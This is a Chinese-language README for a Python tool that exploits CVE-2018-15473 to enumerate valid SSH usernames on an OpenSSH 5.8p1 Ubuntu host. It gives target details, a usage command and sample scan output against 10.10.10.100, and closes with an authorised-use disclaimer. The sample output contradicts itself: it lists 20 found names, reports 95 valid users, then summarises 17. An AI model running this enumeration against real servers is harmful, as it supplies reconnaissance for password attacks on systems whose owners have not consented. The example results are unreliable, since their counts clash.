CVE-2018-15473 – SSH 用户名枚举

一个由我开发的 Python 工具，用于通过利用 CVE-2018-15473 识别有效的 SSH 用户名。

目标信息

服务： SSH
版本： OpenSSH 5.8p1 Debian 1ubuntu3
操作系统： Ubuntu Linux
协议： SSH-2.0
评估： 已针对 CVE-2018-15473（SSH 用户名枚举）进行测试

语言

Python 3

功能特性

使用 Python 3 开发。
通过利用 CVE-2018-15473 枚举有效的 SSH 用户名。
支持自定义用户名字典。
实时显示发现的用户名。
在扫描结束时提供所有有效用户名的摘要。
轻量且易于使用。

使用方法

python3 enum_ssh.py usernames.txt

其中 usernames.txt 包含要测试的用户名列表。

示例输出

[parrot@parrot]-[~]
$ python3 enum_ssh.py usernames.txt

[*] Starting CVE-2018-15473 enumeration against 10.10.10.100:22
[*] Using wordlist: usernames.txt

[+] [EXISTS] -> root
[+] [EXISTS] -> admin
[+] [EXISTS] -> administrator
[+] [EXISTS] -> user
[+] [EXISTS] -> test
[+] [EXISTS] -> guest
[+] [EXISTS] -> demo
[+] [EXISTS] -> operator
[+] [EXISTS] -> sysadmin
[+] [EXISTS] -> security
[+] [EXISTS] -> netadmin
[+] [EXISTS] -> webmaster
[+] [EXISTS] -> support
[+] [EXISTS] -> service
[+] [EXISTS] -> ubuntu
[+] [EXISTS] -> debian
[+] [EXISTS] -> centos
[+] [EXISTS] -> fedora
[+] [EXISTS] -> kali
[+] [EXISTS] -> parrot

========================================
[*] Scan complete.
[*] Found 95 valid user(s):

    - root
    - admin
    - administrator
    - user
    - test
    - guest
    - demo
    - operator
    - sysadmin
    - security
    - netadmin
    - webmaster
    - support
    - service
    - ubuntu
    - debian
    - centos

========================================

免责声明

本工具仅用于教育目的和经授权的安全测试。请仅在你拥有明确许可的系统上使用。

CVE-2018-15473-User-Enumeration-

最受欢迎